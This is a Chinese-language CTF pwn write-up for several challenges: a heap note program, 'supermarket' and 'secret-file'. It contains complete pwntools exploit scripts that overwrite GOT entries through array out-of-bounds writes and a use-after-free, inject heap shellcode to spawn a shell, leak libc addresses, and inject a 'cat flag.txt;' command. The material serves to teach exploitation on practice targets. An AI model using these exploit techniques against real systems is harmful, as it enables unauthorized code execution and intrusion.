既然陣列下標可以越界,那麼我們就可以把任意的地方的8位元組資料寫成新建的堆的地址指標
那麼,通過陣列越界,我們可以把一些函數的GOT表內容修改為堆指標,由於程式NX保護是關閉的,
那麼堆疊裡的資料也可以當成指令執行。那麼我們在堆里布置shellcode即可

wp1

wp2

兩篇wp結合就無敵。

這是修改atoi的got

#coding:utf8  
    from pwn import *  
      
    sh = process('./pwnh21')  
    #sh = remote('111.198.29.45',30061)  
    #沒有不行
    context(os='linux',arch='amd64')  
    def create(index,size,content):  
       sh.sendlineafter('your choice>>','1')  
       sh.sendlineafter('index:',str(index))   #這地方注意str()
       sh.sendlineafter('size:',str(size))  
       sh.sendafter('content:',content)  
       #這個地方也要注意  /嘆氣
       #還是send跟sendline的區別  就多送一個位元組的問題
       #就在這裡產生了如此深遠的影響  
      
    def delete(index):  
       sh.sendlineafter('your choice>>','4')  
       sh.sendlineafter('index:',str(index))  
      
    #rax = 0 jmp short next_chunk  
    code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')  
    #rax = 0x3B jmp short next_chunk  
    code1= (asm('mov eax,0x3B') + '\xeb\x19') 
    #rsi = 0 jmp short next_chunk  
    #move佔倆
    code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')  
    #rdi = 0 jmp short next_chunk  
    code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')  
    #系統呼叫  
    code4 = (asm('syscall').ljust(7,'\x90'))  
      
    create(0,8,'a'*7)  
    create(1,8,code1)  
    create(2,8,code2)  
    create(3,8,code3)  
    create(4,8,code4)  
    #刪除第一個堆塊  
    delete(0)  
      
    #把第一個堆塊申請回來,存入指令,並且把堆指標賦值給陣列的-8下標處(atoi的GOT表處),即修改了atoi的GOT表  
    create(-8,8,code0)  
    #getshell  
    sh.sendlineafter('your choice>>','/bin/sh')  
    sh.interactive()  

這是修改free的got

from pwn import *
context.log_level='debug'
context.update(arch='amd64')#沒有不行
#io=process("./note")
io=remote("111.198.29.45",59605)
def add(index,content):
    io.recvuntil("your choice>>")
    io.sendline("1")
    io.recvuntil("index:")
    io.sendline(str(index))
    io.recvuntil("size:")
    io.sendline("8")  #全部申請為最大堆塊8位元組
    io.recvuntil("content:")
    io.sendline(content)
def dele(index):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("index:")
    io.sendline(str(index))

add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") #0x90即nop ;EB即 jmp short
add(1,asm("mov eax, 0x3b")+"\xeb\x19")
add(2,asm("xor rdx, rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))
dele(0)

io.interactive()
io.close()

小貼士:以後看著長這樣的 他就是申請一個堆

在這裡插入圖片描述
在這裡插入圖片描述它每次那個堆裡面都會拿最後一個位元組來存0
你看那個for的條件就知道了。

17 supermarket

有幾個連結對這道題很有幫助
首先是這道題的分析
另一個分析
然後是這道題包括上面堆漏洞提到的fastbin
fastbin的利用
這塊知識的一個延伸
然後這道題的unsorted bin
然後聯絡起來的溢位利用FILE結構體
最後是對FILE結構體的解釋

應對這種分析起來有些複雜的程式,就先跑一跑,立馬清晰很多。

在這裡插入圖片描述
這題最重要的是你得首先分析出它有個結構體來

在這裡插入圖片描述
在這裡面對其分析,s2陣列裡面存的是地址,所以就有後面的(&s2)[v5] + 5 類似這樣的東西,這就是結構體。

這題也是分成了Dynelf跟Libcsearcher

下面這是LibcSearcher

#coding:utf-8
from pwn import *
 
# context.log_level = 'debug'
debug = 1 
 
if debug == 1:
    r = process('./supermarket')
    # gdb.attach(r)
else:
    r = remote('111.198.29.45', 56608)
 
 
def add(name, price, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('1\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('price:')
    r.send(str(price) + '\n')
 
    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')
 
    r.recvuntil('description:')
    r.send(str(description) + '\n')
    
 
def dele(name):
    r.recvuntil('your choice>> ')
    r.send('2\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
def lis():
    r.recvuntil('your choice>> ')
    r.send('3\n')
    r.recvuntil('all  commodities info list below:\n')
    return r.recvuntil('\n---------menu---------')[:-len('\n---------menu---------')]
 
def changePrice(name, price):
    r.recvuntil('your choice>> ')
    r.send('4\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('input the value you want to cut or rise in:')
    r.send(str(price) + '\n')
 
def changeDes(name, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('5\n')
    
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')
 
    r.recvuntil('description:')
    r.send(description + '\n')
 
def exit():
    r.recvuntil('your choice>> ')
    r.send('6\n')
 
 
add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')
changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')
 
def leak_one(address):
    changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(address))
    res = lis().split('des.')[-1]
    if(res == '\n'):
        return '\x00'
    return res[0]
 
def leak(address):
    content =  leak_one(address) + leak_one(address + 1) + leak_one(address + 2) + leak_one(address + 3)
    log.info('%#x => %#x'%(address, u32(content)))
    return content
 
d = DynELF(leak, elf = ELF('./supermarket'))
system_addr = d.lookup('system', 'libc') 
log.info('system \'s address = %#x'%(system_addr))
bin_addr = 0x0804B0B8
changeDes('1', 0x8, '/bin/sh\x00')
changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(0x0804B018))
changeDes('4', 8, p32(system_addr))
dele('1')
 
r.interactive()

然後是LibcSearcher

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
sh = remote('111.198.29.45',55879)  
elf = ELF('./supermarket')  
atoi_got = elf.got['atoi']  
def create(index,size,content):  
   sh.sendlineafter('your choice>>','1')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('price:','10')  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
def delete(index):  
   sh.sendlineafter('your choice>>','2')  
   sh.sendlineafter('name:',str(index))  
def show():  
   sh.sendlineafter('your choice>>','3')  
def edit(index,size,content):  
   sh.sendlineafter('your choice>>','5')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
#node0  
create(0,0x80,'a'*0x10)  
#node1,只用來做分隔作用,防止塊合併  
create(1,0x20,'b'*0x10)  
#realloc node0->description  
#注意不要加任何資料,因為我們傳送的資料寫入到的是一個被free的塊(仔細思考一下這句話),這會導致後面malloc時出錯  
edit(0,0x90,'')  
#現在node2將被分配到node0的原description處  
create(2,0x20,'d'*0x10)  
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)  
#由於沒有把realloc返回的指標賦值給node0->description,因此node0->description還是原來那個地址處,現在存的是node1  
#因此edit(0)就是編輯node1的結構體,我們通過修改,把node1->description指向atoi的got表  
edit(0,0x80,payload)  
#洩露資訊  
show()  
sh.recvuntil('2: price.20, des.')  
#洩露atoi的載入地址  
atoi_addr = u32(sh.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))  
libc = LibcSearcher('atoi',atoi_addr)  
libc_base = atoi_addr - libc.dump('atoi')  
system_addr = libc_base + libc.dump('system')  
#修改atoi的表,將它指向system  
edit(2,0x20,p32(system_addr))  
#getshell  
sh.sendlineafter('your choice>>','/bin/sh')  
sh.interactive()  

有點自己的理解
這題還是基於UAF的思想,我感覺UAF他就是一個指標幹不了的事情讓另一個指標去給它幹,比如這個題,create2不能去修改自己chunk內容做到洩露地址,於是就把這個事情交給create0,讓它來完成。

為了理解他的利用過程,我還畫了個圖……

在這裡插入圖片描述

我深刻感覺這個題是這18個裡面最難的了吧……

18 secret-file

popen函數的使用

這個題難在對裡面亂七八糟邏輯的分析。

介紹幾個函數,方便理解。
原型:char *strrchr(const char *str, char c);
找一個字元c在另一個字串str中末次出現的位置(也就是從str的右側開始查詢字元c首次出現的位置),並返回從字串中的這個位置起,一直到字串結束的所有字元。如果未能找到指定字元,那麼函數將返回NULL。

大佬的wp

#短短几句 真難  /嘆氣
from pwn import *  
import hashlib  
sh = remote('111.198.29.45',31436)  
padding = 'a'*0x100  
payload = padding + 'cat flag.txt;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest()  
sh.sendline(payload)  
sh.interactive() 

總結

我想對這裡面所有值得注意的漏洞點進行一個總結方便以後能迅速找到漏洞
棧溢位的一些函數 read strcpy gets getline strcat……
陣列下標越界,也就是陣列索引時沒有檢查邊界
函數指標型別強制轉換
格式化字串的printf家族
申請字串空間小於允許讀入的字串個數

有幾天主線
從棧漏洞到堆漏洞的過度
從新手區最後libc的引入到沒有libc庫需要通過棧溢位洩露函數地址再到需要劫持GOT表洩露地址再到需要通過堆漏洞劫持GOT表洩露地址
堆漏洞的進入 開始簡單的UAF跟堆shellcode
裡面也有一下旁支
比如popen函數
fini.array的覆蓋
shutdown功能

先就這吧。